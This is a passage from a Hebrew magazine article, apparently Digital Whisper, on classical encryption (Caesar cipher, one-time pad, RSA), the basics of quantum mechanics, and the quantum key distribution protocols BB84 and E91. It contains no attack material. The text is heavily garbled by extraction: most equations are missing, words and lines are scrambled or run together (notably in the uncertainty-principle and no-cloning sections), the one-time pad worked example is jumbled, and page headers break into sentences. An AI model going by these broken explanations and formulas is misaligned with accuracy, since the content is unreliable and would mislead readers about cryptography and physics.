ומשפט בל יוסברו באריכות.‏ עם כל הכלים האלה,‏ אנו נעבור לראות ארבע דרכים שונות ליישם אותן בכדילבצע החלפת מפתחות שידועות כ-‏BB84‎‏,‏B92 ,E91ו-‏BBM92‎‏.‏מושגים בהצפנהשל-3קריפטוגרפיה הינה ענף במתמטיקה ומדעי המחשב,‏ העוסק בעיקר באבטחת,‏ זיהוי ואימות המידע.‏ ענףזה בעל היסטוריה ארוכה של שימושים צבאיים,‏ דיפלומטיים ומסחריים שראשיתה בתרבויות קדומות.‏אחת הדוגמאות המוכרות ביותר,‏ הינה הצופן שלפי היסטוריונים רבים שימש את הקיסר יוליוס,‏ ולכן הואמכונה ‏"צופן קיסרי"‏ שבו כל אות במכתב המקורי מוחלפת באחותה שבאה במרווח קבוע ממנה בסדרהאותיות האלפביתי ‏)על פי מפתח שנקבע מראש(.‏ לדוגמא,‏ שימוש בצופן קיסרי במרווח קבוע ‏)מפתח(‏אותיות:‏‏]במקור:‏]http://en.wikipedia.org/wiki/Caesar_cipher4אליס כי נניחמעוניינתלבוב מסר לשלוחבעזרת הדרך שהוצגה לעיל,‏עם מרווח קפיצות שלאותיות,‏ע"פ.f(message; key)כך המסר:‏ATTACK THEMיוחלף ב:‏EXXEGO XLIQעל מנת שבוב יוכל להבין מה אליס שלחה לו,‏ הוא מבצע:‏key) .f -1 (message; החולשה של שיטה-זו ברורהברגע שמפתח הצפנה נמצא בידי האויב,‏ ניתן בקלות לדעת מה מפתח הפענוח.‏ בדרך כלל,‏ כאשראנשים משתמשים בהצפנות,‏ פעמים רבות הם אינם מעוניינים במציאת דרך הצפנה שאינה ניתנתלשבירה אלא שההודעה שלהם תישאר מוגנת,‏ לפחות כל עוד התוכן שלה בעל משמעות.‏42גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


עולם ההצפנה התקדם רבות מימי הקיסרות הרומית,‏ וכיום כמעט כל אחד מאיתנו משתמש בהצפנה,‏ אםזה תוך כדי חיפוש ב-‏Google או אם זה כאשר אנו מזדהים לחשבון הפייסבוק שלנו.‏ שימוש בשיטתההצפנה בדוגמאות אלו הינהSSL‏)ראשי תיבות שלSecure Socket Layerושימושה הפך לפופולארי כל כך שכמעט כל משתמש יכול לציין כי כאשר מופיעשפותחה על ידי,)Netscapehttpsבמקום שאמורלהופיע ה-‏http‏,‏ הדבר מעיד על כך כי התקשורת לאתר מאובטחת,‏ מה שיעזור בעת מניעת מתקפותMan In The Middleכמו שיכולה להתרחש במקרה הבא:‏המשך פרק זה יתאר כיצד דרך ההצפנה מתבצעת על אמצעים קלאסיים ואלגוריתמים מבוססי סיבוכיות.‏הצפנה סימטריתצופן סימטרי ‏)כמו בדוגמא שבוצעה על ידי קיסר(‏ דורש שימוש באותו המפתח עבור תהליך ההצפנה ועבורתהליך הפענוח:‏ מסר שהוצפן על ידי אליס עם מפתח,‏ מתפענח על ידי בוב בעזרת שימוש בעותק זהה שלהמפתח:‏41גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


)OTP( One-Time Padהמבוסס על צופן,Vernamשהוצע לראשונה בשנת1926גם על ידיGilbertVernamמ-‏AT&T‏,‏ שייך לקטגוריה זו.‏ לפי שיטה זו,‏ אליס מצפינה את המסר שלה-,(M1(באמצעות מפתח באופן אקראי.)K(מחרוזת של ביטיםתהליך ההצפנה הינו תהליך פשוט:‏ על כל תו מתוכן ההודעהיש להוסיף את ערכו של התו המקביל במפתח ההצפנה ‏)על מנת להמנע מחריגת הערכים בתוצאהנשתמש ב-‏Modulo‏(,‏ לדוגמא,‏ אם ההודעה באנגלית,‏ והתו הגבוה ביותר הינונבצעZ,Mod 26אם בתוצאה נגיע ל-‏‎26‎‏,‏ נחשב26 Mod 26ונקבל,0 משמע:‏ .)A‏)וערכו נקבע ל-‏‎25‎‏(,‏ אזי,‏לדוגמא,‏ במידה ונרצה להצפין את המילה"ATTACK"ההודעה המקורית:‏בעזרת המפתח ,"GBCWET" התהליך יראה כך:‏A T T A C K0 19 19 0 2 10++++++GBCWEמפתח ההצפנה:‏ T61222419======620212262962021226ביצוע 3:Mod 26GUVWGההודעה לאחר ההצפנה:‏ Dתהליך הפענוח מתבצע בדיוק להפך:‏GUVWGההודעה המוצפנת:‏ D620212263------GBCWEמפתח הפענוח:‏ T61222419======019190210ATTACההודעה לאחר הפענוח:‏ Kקיימות שיטות הצפנה מקבילות,‏ כגון ביצוע פעולתXORבין ההודעה לבין מפתח ההצפנה ועוד.‏ על פיקלוד אלווד שאנון ‏)אבי תורת האינפורמציה(‏ במידה ומשתמשים במפתח הצפנה אקראי,‏ ובמידה ואורךמפתח ההצפנה שווה לאורך ההודעה עצמה,‏ מדובר בשיטת ההצפנה היחידה בעולם שנחשבת בטוחה43גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


במאה אחוז,‏ מפני שזאת שיטת ההצפנה היחידה בעולם בה חשיפת הטקסט המוצפן אינו מעיד דבר עלהטקסט המקורי.‏עם זאת לשיטה זאת קיימות שתי בעיות מרכזיות:‏חובה על אליס ובוב להחזיק מפתח סודי משותף,‏ אשר אורכו חייב להיות לפחות אורך המסר עצמו.‏אליס ובוב יכולים להשתמש במפתח הצפנה הנ"ל רק פעם אחת ‏)ומכאן שמו,)One-Time Padבמידהוהם ישתמשו במפתח זה יותר מפעם אחת,‏ חוזקה של השיטה יפגע ומאזינה ‏)להלן:‏ איב(‏ תוכללהסיק מידע רב אודות מפתח ההצפנה ואודות תוכן שני ההודעות המקוריות.‏בנוסף להכל,‏ על אליס ובוב להעביר את מפתח ההצפנה באמצעים אמינים,‏ כגון שליח,‏ או באמצעותפגישה אישית.‏ הליך זה עלול להיות יקר ובעל מורכבות רבה,‏ ואף עלול להיכשל במקים רבים.‏ עקב בעיותאלה פנקס חד פעמי משמש כיום רק את היישומים הקריטיים ביותר,‏ ומשמש למעשה רק לעתים נדירותבלבד.‏ שימוש במערכות הצפנה סימטריות עבור יישומים שגרתיים כגון מסחר אלקטרוני וכדומה אינו ברביצוע ומשתמש במפתחות קצרים למדי.‏44גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


הצפנה א-סימטריתתהליך הצפנה א-סימטרי מתבצע תוך שימוש בשני מפתחות שונים:‏ מפתח אחד עבור תהליך ההצפנהומפתח שני עבור תהליך הפענוח.‏ תהליכים אלו מוכרים כ-"מערכות הצפנה מבוססות מפתח פומבי".‏העיקרון שלהם הוצע לראשונה על ידי ויטפילד דיפי ומרטין הלמן בשנתבפועל יישום העיקרון פותח והוצג לראשונה רק לאחר שנתיים,‏ בשנת1976,1978מאוניברסיטת סטנפורד.‏במכון הטכנולוגי שלמסצ'וסטס,‏ ידי רונלד ריבסט,‏ עדי שמיר,‏ וליאונרד אדלמן ומוכר כ-‏RSA ‏)שמה של השיטה נגזר מראשיהתיבות של שמות המשפחה של המפתחים)Ronald Shamir Adleman(וכיום נעשה בו שימוש נרחב.‏אילו בוב מעונין לקבל הודעות מוצפנות עם הצפנת מפתח ציבורי,‏ הוא חייב קודם כל לבחור את המפתחהפרטי שישמש אותו,‏ שאותו הוא שומר בסוד.‏ לאחר מכן,‏ הוא גוזר ממנו את המפתח הציבורי,‏ שאותו הואחושף לכל גורם מעוניין.‏ אליס משתמשת במפתח זה בכדי להצפין את המסר שלה.‏ היא מעבירה אתהמסר המוצפן לבוב,‏ אשר מפענח אותו בעזרת המפתח הפרטי שברשותו:‏שימוש במערכות הצפנה מבוססות מפתח פומבי הפך פופולרי מאוד ב-‏‎20‎ השנים האחרונות.‏ למשל,‏ רובןשל מערכות האבטחה באינטרנט מבוססות באופן חלקי על מערכות אלו.‏ המחשה לכך יכולות להיותתיבות הדואר,‏ שאליה כל אחד יכול להוסיף מכתב אך רק בעל התיבה עצמה יכול לשלוף את המכתב,‏ עלידי פתיחת התא עם המפתח הפרטי שלו.‏ האבטחה של מערכת כזו,‏ המבוססת על הצפנת המפתחהפומבי,‏ מתבססת על מורכבות החישוב והזמן שלוקח לבצע אותו.‏ הרעיון הוא להשתמש באובייקטיםמתמטיים בשם פונקציות חד-כיווניות.‏ על פי הגדרתם,‏ בהינתן,xקל לחשב את תוצאת הפונקציהf(x) אךקשה וכמעט בלתי אפשרי לבצע את החישוב ההפוך ‏)בזמן הגיוני(,‏ זאת אומרת שיהיה קשה להסיק אתמהתבוננות על תוצאתx.f(x)45גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


בהקשר של סיבוכיות משמעות המילה ‏"קושי"‏ היא כי זמן הנדרש לביצוע משימה כלשהיא גדל באופןאקספוננציאלי עבור מספר הביטים המרכיבים את הקלט עליו מתבצעת המשימה.‏ באופן אינטואיטיבי,‏ קללהבין כי לוקח מספר שניות בודד על מנת לחשב את תוצאת מכפלת המספריםיותר זמן בכדי למצוא את הגורמים הראשוניים המרכיבים את42.3066ו-‏‎73‎‏,‏ אך לוקח הרבהלמרות האלגנטיות של שיטה זו,‏ הטכניקה עליה היא מבוססת נשענת על יסודות הנחשבים חלשים,‏ שכןעדיין לא ניתן להוכיח האם ‏"קושי מפאת חוסר זמן"‏ הוא גורם שניתן לקחת בחשבון כאשר בוחנים חוזקשל פונקצית הצפנה.‏ משמעות הדבר היא כי לא ניתן לשלול קיומו של אלגוריתם מהיר עבור פרוק לגורמיםראשוניים של מספר נתון.‏ יתר על כן,‏ בשנת1994פיטר שור פיתח אלגוריתם פולינומיאלי המאפשר פרוקמהיר של מספרים שלמים לגורמים ראשוניים בעזרת מחשב קוונטי,‏ גילוי זה מטיל ספק נוסף על אי קיומושל אלגוריתם פולינומיאלי עבור מחשבים קלאסיים.‏באופן דומה לכך,‏ כלל מערכות ההצפנה המבססות את אבטחתן על הנחות שאינן מבוססות שכיוםנחשבות לחזקות יכולות להחשב כחלשות כאשר יפותח אלגוריתם שיקצר את משך פעולה שכיום נחשבתאפשרית אך לא ברת ביצוע בזמן הגיוני.‏נתון זה מהווה איום חמור על מערכות הצפנה שכאלה.‏ בחברה כמו שלנו,‏ שבה מידע ותקשורת מאובטחתהם כלי חשוב מאין כמוהו,‏ לא ניתן לסבול איום כזה.‏ למשל,‏ פריצת דרך במתמטיקה יכולה לגרום לכסףאלקטרוני להיות חסר ערך באופן מיידי.‏ על מנת לצמצם סיכונים כלכליים וחברתיים כאלה אין ברירה אלאלשפר את מערכות ההצפנה,‏ ולפנות לכיוונן של מערכות הצפנה סימטריות.‏,RSA כיום,‏היא שיטת ההצפנה הנפוצה ביותר.‏ מה שבדרך כלל נרצה להצפין הוא מפתח סימטרי אשריחליף בסופו של דבר את המפתח הא-סימטרי שאיתו התחלנו את הפרוטוקול.‏מלבד העובדה כי מפתחות סימטריים בטוחים יותר,‏ ניתן ליישם אותם הרבה יותר מהר מאשר ליישםמנגנונים מבוססים המפתחות א-סימטרים.‏ כעת אנו נמצאים בשלב שבו ניתן להסביר קצת יותר על איךעובד מנגנון ה-‏RSA‏.‏42גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


-RSAהרעיון העיקרי של מנגנון ה-‏RSA עובד באופן הבא:‏ נניח כי הינה ההודעה שאליס מעוניינת להעבירלבוב,‏ תהליך העברת ההודעה יתבצע כך:‏בוב יוצר שני מפתחות,‏ מפתח פרטי שאותו הוא שומר בסודיות,‏ וממנו מפיק את המפתחהציבורי , שאותו הוא מפרסם לכל דורש.‏ את המפתח הפרטי בוב יוצר באופן הבא:‏בוב בוחר צמד של מספרים ראשוניים,) ו-‏ (מכפלת שניהם יוצרת את.,).בוב מחשב את פונקציית אויילר:‏ולאחר מכן בוב בוחר מספר שלם(,.שקטן מ-‏ ועונה למשווהלאחר מכן,‏ בוב בוחר מספר שלם נוסף,‏ d, שגדול או שווה ל-‏‎1‎ אך קטן או שווה ל-‏ועונה.למשוואות הבאות:‏ו-‏בוב שולח את מפתח ההצפנה הפומבי שלולאליס.‏.אליס בתורה מצפינה בעזרת חישוב של‏)כך ש-‏ הינה ההודעה שהיא מעוניינת לשלוח לבוב,‏ ו-‏ושולחת לבוב אתהינו המפתח הפומבי שבוב שלח לה,‏..)בוב מפענח אתבעזרת חישוב שלוחושף את ההודעה המקורית(47גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


מושגים בתורת הקוונטיםאקסיומות בתורת הקוונטים)States(.2מצביםהמצב הוא תאור מלא למערכת פיזיקלית,‏ ומה שנרצה למצוא עמור מערכת קוונטית.‏ במכניקהקוונטית,‏ המצבים קיימים במרחב הילברט המסומן ב-‏ . מה המאפיינים של מרחב זה?‏מרחב וקטורי מעל שדה המרוכבים.וקטור יסומן ונקרא ‏"קט"‏בעוד ( ,)שהצמוד שלו נקרא ‏"ברא"‏ (.מכפלה וקטורית תסומן:‏(.2עם התכונות הבאות:‏.א.‏אי-שלילית:‏כאשר:‏אמ"םב.‏לינארית:‏ג.‏אנטי-סימטריה:‏3. המרחב שלם ביחס לנורמהמדידים)Observables(מדיד הינו מאפיין של מערכת פיזיקלית,‏ אותו ניתן לבדוק בעזרת פעולות פיזיקליות.‏ במכניקתקוונטים,‏ מדיד הינו אופרטור הרמיטי צמוד לעצמו.‏ אופרטור הוא מפה לינארית המעבירה וקטוריםלוקטורים,‏האופרטור מקיים .למשל,‏ על מנת למדוד מיקום של חלקיק,‏ נפעיל את אופרטורעל X.המצב,‏ ונקבל את הערך המדיד כסקלרבאותו אופן,‏ נפעיל את ערך התוחלתגליוןשלו.‏ אם נפעיל על המשוואה הקודמת,‏ נקבל:‏ונסמנו:‏שימוש בעקרונות האי-וודאות48.למניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021לזה נקרא ערך התוחלת של,X.


מדידות)Measurements(יש הבדל רב בין מדידה קלאסית למדידה קוונטית.‏ באופן קלאסי,‏ ניתן לבצע מדידה בלי להשפיעעל החלקיק הנמדד.‏ המצב לא נשאר כך כאשר עוברים למכניקה קוונטית.‏ המדידה עצמה משנהאת מצב החלקיק וחייבים לקחת זאת בחשבון.‏תהליך קריסה:‏המצבלא קובע באופן ייחודי את תוצאת המדידה!‏הוא קובע רק התפלגותסטטיסטית של תוצאות אפשריות.‏לדוגמא,‏המצב המנורמלמתאר מערכת אשר בהסתברותתהיה במצבאם תימדד.‏מה הכוונה ב"קריסה"?‏ בהתחלה,‏ יש טווח של תוצאות אפשריות למדידה עבור המערכת,‏ כלאחד ממצבי הבסיס שלה יכול להופיע במדידה והסיכויים היחסיים ניתנים לפי ההסתברותהמתאימות.‏ כשסוכן חיצוני ‏)צופה,‏ נסיין(‏ מודד את הגודל המדיד המזוהה עם מצבי הבסיס,‏ המצבהקוונטי משתנה מהמצב המלא,‏ למצב הבסיס הנמדד.‏ כלומר:‏ כל שאר הביטויים בכתיבההמפורשת של המצב נעלמים,‏ ומכאן השם,‏ ‏"קריסה".‏ כאשר המדידה מתבצעת,‏ היא מניבהתוצאה אחת בלבד,‏ למרות שיותר מאחת יכולה להופיע,‏ כך שלאחר מכן אף אחד מהמצביםהאחרים לא יכול להופיע.‏אישלועקרון אי הודאות של הייזנברג:‏ אחד מהמאפיינים הכי ידועים של מכניקת הקוונטים הוא עקרוןהודאות.‏-מאפייןלמשל(,‏בשנתכתלותזהלאכאשרלא:1927ניתןבדיוקאנומתקייםלדייקציודמודדיםחלקיקהמדידה.‏בעולםבידיעתיותרהקוונטי,‏התנעקלאסי,‏שלו,‏מכך,‏כאשרתמידמדידתולהפך.‏נוכלמודדיםלדעת את המיקום והתנע המדוייקיםהמיקוםאתהייצוגלאהמיקוםהמתמטימשפיעהשללכךעלחלקיקעל ניתןהתנעקוונטיידיולהפך.‏‏)פוטון,‏הייזנברג42גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


דינמיקהפרופוגטור התקדמות בזמן של מצב קוונטי הוא אוניטרי.‏ היוצר שלו הוא אופרטור הרמיטי הנקראהמילטוניאן של המערכת.‏ הדינמיקה של המערכת מתוארת על ידי משוואת שרדינגר:‏שניתן לכתוב גם כך:‏מה הוא?QubitQubit‏)קיצור של,Quatnum Bitאו בעברית-ביט קוואנטי(‏ הינו היחידה הקטנה ביותר של מידעבמחשבים קוונטים,‏ יחידה זו הינה המקבילה לסיביט ‏)סיפרה בינרית(‏ במחשבים המודרנים של היום.‏בעוד שסיבית חד-ממדית ומסוגלת להכיל את הערךאת הערכים1 או 01 ,0או סופרפוזיציה של שניהם.‏כיום,‏ הדרך הנפוצה ביותר לממש קיוביט היא באמצעות מערכת של שני מצביםאטום בעל שתי רמות,‏ פוטון מקוטב ‏)קיטוב אופקי או אנכי(,‏ אובלבד,‏ קיוביט דו-ממדית והינה מסוגלת להכיל,)two-state system(ספין ½כמו‏)ספין מעלה או מטה(.‏ אם נסתכלעל כך מבחינה מתמטית,‏ הדבר אומר כי המרחב המדובר הינו מרחב הילברט מעל .לקחת זאת ולהתייחס למצב כאורתונורמלי,‏ ולייצג זאת בעזרת על ידי ו-‏מבחינתנו,‏ ניתןכאשר:‏ ,הדרך הפשוטה ביותר להציג את מצב הבסיסים היא:‏עם זאת,‏ ניתן להבחין כי ישנו ייצוג נוסף,‏ השקול לייצוג זה,‏ והוא:‏עם ההתניות:‏ו-‏. את ההתמרה בין הבסיסיםניתן לבצע בעזרת התמרת הדמרד:‏50גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


כך ש:‏ו-‏. ‏)ומפני ש-‏מייצג מטריצה אוניטרית,‏אזי קיימים לנו גםו-‏ (.עם הידע שהבנו עד כה,‏ נוכל להביע כל מצב של מערכת קוונטית ‏)עד כדי הבדל פאזה מרוכבת(‏ בעזרתהנוסחה הכללית הבאה:‏.כאשרהינם אמפליטודות של ההסתברויות,‏ ומנורמלים לפיבנוסף,‏ניתן להציג זאת בעזרתו-‏באופן הבא:‏.כאשרו-‏הדרך הגיאומטרית לייצג קיוביט מוכרת ככדור בלוך ‏)או ספירת בלוך:)Bloch Sphere -ניתן למקםשביט בעוד הכדור,‏ פני על מקום בכל קוונטי ביטקלאסית‏)סיביט(‏ניתן למקם אך ורקעל‏"הקוטב הצפוני"‏ או ‏"הקוטב הדרומי".‏52גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


ספינים וקיטוביםהמאפיינים הבסיסיים של החלקיקים שאותם אנו עומדים למדוד בסעיף הבא,‏ הם הקיטוב שלהם והספיניםשלהם:‏)Pauli(מסויים,‏ מצב בהיתןבעזרת מטריצות פאוליאת לחלץ נוכלאותם המאפאיינים.‏מטריצתפאולימוגדרת באופן הבא:‏עם המאפיינים הבאים:‏.ובדומה לכך,‏ גם:‏,ולכן כל שעלינו לעשות הוא להפעיל את למדידת מצבי הספין ו-‏ ,הספין ו-‏או להפעיל אתלמדידת.שימו לב כי אם נמדוד את בעזרת הבסיס של ו-‏ כמו באופן הבא:‏נמצא כינקבל בהסתברות השווה ל-‏ ‏)שווה לחצי(‏ את המצב ב-‏ ובהסתברות דומה נמצא כי לפי‏)השווה גם לחצי(‏ את.אחת מהתוצאות יכולה להתקיים ‏)בהסתברות שווה(.‏כלומר,‏ כאשר אנו מודדים את הספינים על ‏"בסיס שאינו נכון"‏ כל51גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


עקרון אי-השכפולכפי שנראה בקטע הבא,‏ יהיה הגיוני לשאול ‏"מי מבטיח לנו כי רק מדידה אחת בוצעה על המצב?‏ לא נוכללשכפל את המצב ולמדוד אותו מספר פעמים על מנת למצוא את הבסיס הנכון?"‏התשובה לשאלה הזאת כרוכה בהכרת המשפטשאותו הוכיחו וויליאם ווטרס,)Wootters(וויצ'ך זורקעקרון)Zurek(כי לא ניתן לבצע שכפול זהה של מצב קוונטי נתון.‏ עקרון‏"אי-השכפול"‏ודניס דיקסאי-השכפולהקיים כחלק מתורת הקוונטים,‏)Dieks(1982, בשנתשמראההוא תוצאה של מכניקת הקוונטיםאשר אוסרת על יצירת מצבים זהים של מצב קוונטי לא ידוע.‏ כפי שכבר הוסבר,‏ תהליך המדידה הרסניבבסיסו ובאופן בלתי-נמנע משנה את המצב הנמדד ‏)מלבד מצבים בהםאבל,‏ ישנו הפיתוי לבדוק אפשרות של מכונת צילום קוונטית.‏הוא חלק מבסיס המדידה(.‏בשפת המכניקה הקוונטית,‏ מה שנחפש הוא אופרטוראוניטריאשר מקבל מצב‏"ריק"‏ ומצב נמדד שכברבבסיסמרחבהילברטדומה,‏שני ומוציאחלקיקיםפלוס ‏)מקורהעתק(‏ במצב .נראה מה זה אומר מבחינת איברי הבסיס:‏טרנספורמציית הבסיס תהיה:‏ממכונת צילום נצפה לקבל:‏,כלומרבאופן כללי לא שווה ל-‏כפי שניתן לוודא בהצבת ערכים עבור53גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


אהישזירותשזירות תכונה של תיאום ‏)קורלציה(‏ בין שתי מערכות קוונטיות או יותר ‏)למשל,‏ הספינים של שניחלקיקים יכולים להשתייך לאותו מצב שזור(.‏ התאמות אלו מפרות את התאור הקלאסי ומאופיינות באופןאינטרינסי לתופעה קוונטית.‏ שזירות היתה גורם חשוב בפיתוח ובבדיקת התורה הקוונטית וכך תהיה גםגורם מפתח באינפורמציה קוונטית.‏.במקום להגדיר מצבסופישזור,‏ פשוטיותר להגדיר מצבים שאינם שזורים.‏ נניח שני מרחבי הילברט ממימדונניח ,המצב יהיה לא שזור,‏ בר הפרדה או תוצר מכפלה פנימית-קיימים מצביםו-‏כך שניתן ליצג אותם כמכפלה טנזורית:‏אםאחרת נקרא ל-‏מצב שזור.‏,המצב על נסתכלהשזורבמרחבמעל הילברטבל.‏ מצב עם הנקרא)למשל,‏ זה,‏ מצב לקבל ‏)ניתןמדעיכתכמכפלה זה מצב לכתוב נסיון כלטנזוריתייכשל,‏,,מאחר ואין מקדמים עבור ,המקיימים:‏לכן זהו מצב שזור.‏ לייצוג המצבים,‏ נגדיר את הכתיבה הבאה,‏ בעזרת מכפלות:‏מה כל כך חשוב במצבים אלו?‏ ניתן לשים לב שבידיעת מידע על אחד מהחלקיקים,‏ ניתן לדעת מיידיתמידע על החלקיק האחר,‏ המרוחק מהמדידה.‏ כלומר,‏ בפחות מהזמן הדרוש לאור להתקדם במרחק זה.‏,לדוגמה,‏ נניח כי מדדנו את אחד החלקיקים במצב אזי החלקיק האחר חייב להיות במצב ולהפך.‏זו היתה תוצאה מדהימה עבור פיזיקאי קוונטים בשנת כאשר בל ניבא לראשונה קורלציה בין,1964המדידות.‏ בקטע הבא נראה איך שימוש במצבים אלו יכול לעזור לנו לשתף מפתח סודי.‏54גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


שיטות קוונטיות להפצת מפתחות הצפנה)QKD(כמו שראינו שיטות הצפנה סימטריות נחשבות חזקות מאוד,‏ כל עוד נקבע מפתח הצפנה חזק והשימוש בוהינו חד פעמי.‏ במידה ומפתח ההצפנה נופל לידיים הלא נכונות-כל תהליך ההצפנה נפגע.‏ הדרכים כיוםלשיתוף המפתח הסודי מתבססות,‏ כמו שראינו בתחילת המאמר,‏ על ההנחות שחישוב פעולות מתמטיותשונות אורך פרק זמן בלתי סביר לחישובים יום-יומיים.‏ הנחות שלאו דווקא ניתן לסמוך עליהן.‏שיטות הצפנה קוונטיות שונות במהותן ממקבילותיהן הקלאסיות בכך שהאבטחה שעליהן הן מתבססות,‏מתבססת על חוקים שונים בפיזיקת הקוונטים ולא על הקושי בביצוע חישוב מתמטי של פעולות מסוימות.‏בחלק זה נציג ארבע דרכים שונות לשיתוף מידע סודי ‏)כגון במקרה ה-‏,)?( OTPבו יש הצורך לבחור אתמפתח הצפנה(‏ המבוססות על הכללים של העולם הקוונטי.‏ ההיתרון בשימוש בכל אחת מהשיטות שיוצגובמאמר,‏ הוא שבהתבסס על העקרונות הקוונטים,‏ כל עוד תתבצע פעולת ציתות לתווך התקשורת הדבריוודע לשני הצדדים.‏הפרוטוקול BB84הפרוטוקול הראשון שהוגדר להפצת מפתחות תו"כ התבססות על יכולות קוונטיות,‏ פותח ע"י צ'ארלס בנטוז'‏ לי ברסרד בשנת,1984והוא נראה כך:‏שלבי הפרוטוקול:‏גליוןשימוש בעקרונות האי-וודאות55למניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021אליס יוצרת רצף אקראי של מצבי בבסיסים אקראייםבוב בוחר בסיס אקראיאו ((,( או (ושולחת אותו לבוב.‏ומקליט את המדידה של המידע שמתקבל באותו בסיס.‏בוב מדווח לאליס באיזה בסיס הוא בחר להשתמש לאיזה מצב.‏אליס מצביעה לבוב באיזה מקרה הוא בחר בבסיס הנכון בעת המדידה.‏כעת,‏ אליס ובוב יכולים להרכיב מפתח סודי בעזרת חיבור הפלטים מהמקרים בהם בוב בחר אתהבסיס הנכון למדידה.‏


בתרשים הבא ניתן לראות כיצד מתבצע ההליך:‏‏)במקור:‏)http://swissquantum.idquantique.com/?Key-Siftingמה יקרה במצב בו קיים לתהליך הנ"ל מצוטט?‏בתור בדיקה,‏ אליס ובוב יכולים להשוות תת מחרוזת נוספת מהמחרוזת הכוללת שאליס שלחה לבוב,‏במקרה בו לא קיים מצוטט לתווך התקשורת,‏ תוצאות ההקלטות שלהם אמורות להיות שוות ב-‏‎100%‎‏,‏בעוד שבמקרים בהם אכן קיים מצוטט,‏ תוצאות ההקלטות שלהן יהיו פגומות ב-‏‎25%‎ מהמקרים וחלקהרבה יותר קטן מהתוצאות יהיה שווה.‏ ההסתברות לאתר פעולת ציטוט על תווך התקשורת בעזרתבדיקה שלביטים היא:‏לדוגמא,‏אם נבדוק10 נקבל ביטים,‏.כהסתברות לקבלת מחרוזת הזהה למקור.‏52גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


הפרוטוקול E91הפרוטוקול השני שפותח,‏ פותח על ידי ארתור אקרט,‏ כ-‏‎7‎ שנים לאחר הגדרת הפרוטוקול הראשון,‏ בשנת:1991שלבי הפרוטוקול:‏רכיב הפולט זוגות חלקיקים שזורים ‏)הממוקם,‏ או אצל אליס,‏ או אצל בוב(‏ פולט זוג של חלקיקיםשזורים,‏ חלקיק אחד לאליס וחלקיק אחד לבוב.‏אליס ובוב מבצעים מדידה על ספין בכיוון מסויים מתוך שלושה צירים שרירותיים,‏ הנתונים לפי וקטורי,XY)Xהיחידה ו-‏,בהתאם ל-‏.לפשטות,‏ נניח ששני אלה נמצאים במישוראנכיים לכיוון תנועת החלקיקים ומאופיינים לפי הזוויות האזימוטליות ‏)הנמדדות מציר‏.לאחר שבוצעהו-‏המדידה,‏ אליס ובוב מודיעים אחד לשני את הכיוון בו בחרו לבצע כל מדידה ומדידה,‏ ופוסלים את כלהמדידות בהן אחד מהם או שניהם כלל לא מדדו חלקיק בגלאי.‏כעת,‏ הם מבצעים הפרדה בין המדידות שנותרו לשתי קבוצות:‏ הקבוצה הראשונה כוללת את המקריםבהם שניהם השתמשו באוריינטציה שונה של גלאים והקבוצה השנייה תכלול את כל המקרים בהםבהם הם השתמשו באוריינטציה זהה.‏בוב ואליס מפרסמים את תוצאות המדידות מהקבוצה הראשונה,‏ ומחשבים:‏כאשרמקדם הואהמתאםגליוןשל המדידות שבוצעו על ידי אליס בציר ועל ידי בוב בצירהתוצאה שתתקבל על ו-‏ עלשימוש בעקרונות האי-וודאות57.למניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il.,32 יוני 1021אליס ובוב מצפים לקבל:‏,מציין את הסתברותואם אכן כךמתקבל,‏ שניהם יכולים לדעת כי התוצאות שהם קיבלו בקבוצה השניה מתואמות באופן הפוך ‏)כאשרערך אחד גדל,‏ ערך אחר קטן(‏ ויכולים לשמש בהפקת מפתח ההצפנה.‏


